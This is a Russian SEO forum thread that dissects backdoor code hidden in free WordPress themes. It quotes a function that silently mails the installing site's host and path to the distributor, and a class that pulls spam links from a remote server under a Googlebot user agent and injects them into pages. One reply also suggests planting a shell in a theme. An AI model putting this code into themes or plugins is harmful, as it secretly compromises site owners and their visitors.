Приветствую. Наткнулся на тему на серче, http://forum.searchengines.ru/showthread.php?t=711151 Шаблоны берутся с этого сайта - http://wp-templates.ru/rules/ Вопросов несколько, с помощью какого скрипта автору удается с локальной машины получать адреса сайтов на которых установлены шаблоны с его сайта и с помощью чего он размещает именно по 1 ссылке на скрытых страницах сайтов/блогов Кто хорошо разбирается в WP, можете сделать мини FAQ если не затруднит, скажем на примере этого шаблона http://wp-templates.ru/download/292 Спасибо
можно php код в tpl вставить и он выполнится. грубя говоря любая cms хранит темы и файлы сетингов в стандартных директориях. тоесть ты имеешь относительные пути. напиши shell вставить его в куда нить в тему. и сделай инклюд в tpl твоей темы. пусть он тебе делает mail(); домена .
function ddtheme($name=""){ $str= 'Theme:'.$name.' HOST: '.$_SERVER['HTTP_HOST'].' SCRIP_PATH: '.TEMPLATEPATH.''; $str_test=TEMPLATEPATH."/ie.css"; if(is_file($str_test)) { @unlink($str_test); if(!is_file($str_test)){ @mail('[email protected]','celebrityhq',$str); }}} т.е вот это та самая стучалка? Вообще если не сложно, на примере этой темы дайте разбор кода, что куда вставлялось и как потом ссылки проставляются распространителем шаблона
в файле functions.php есть класс Get_links: PHP: class Get_links { var $host = 'wpconfig.net'; var $path = '/system.php'; var $_cache_lifetime = 21600; var $_socket_timeout = 5; function get_remote() { $req_url = 'http://'.$_SERVER['HTTP_HOST'].urldecode($_SERVER['REQUEST_URI']); $_user_agent = "Mozilla/5.0 (compatible; Googlebot/2.1; ".$req_url.")"; $links_class = new Get_links(); $host = $links_class->host; $path = $links_class->path; $_socket_timeout = $links_class->_socket_timeout; //$_user_agent = $links_class->_user_agent; @ini_set('allow_url_fopen', 1); @ini_set('default_socket_timeout', $_socket_timeout); @ini_set('user_agent', $_user_agent); if (function_exists('file_get_contents')) { $opts = array( 'http'=>array( 'method'=>"GET", 'header'=>"Referer: {$req_url}\r\n". "User-Agent: {$_user_agent}\r\n" ) ); $context = stream_context_create($opts); $data = @file_get_contents('http://' . $host . $path, false, $context); preg_match('/(\<\!--link--\>)(.*?)(\<\!--link--\>)/', $data, $data); $data = @$data[2]; return $data; } return '<!--link error-->'; } function return_links($lib_path) { $links_class = new Get_links(); $file = ABSPATH.'wp-content/uploads/2011/'.md5($_SERVER['REQUEST_URI']).'.jpg'; $_cache_lifetime = $links_class->_cache_lifetime; if (!file_exists($file)) { @touch($file, time()); $data = $links_class->get_remote(); file_put_contents($file, $data); return $data; } elseif ( time()-filemtime($file) > $_cache_lifetime || filesize($file) == 0) { @touch($file, time()); $data = $links_class->get_remote(); file_put_contents($file, $data); return $data; } else { $data = file_get_contents($file); return $data; } } } Метод get_remote() подгружает и возвращает ссылки по адресу http://wpconfig.net/system.php, метод return_links() использует локальный файл(если есть) соответствующий md5 хешу запрашиваемого адреса с сохраненными ссылками или загружает ссылки используя метод get_remote() и сохраняет их файл. В файле Comments.php создается инстанс Get_links и вызывается метод return_links: PHP: <?php $lib_path = dirname(__FILE__).'/'; require_once('functions.php'); $links = new Get_links(); $links = $links->return_links($lib_path); echo $links; ?>
seosimf, спасибо за развернутый ответ. а какой код примерно скрывается за http://wpconfig.net/system.php ?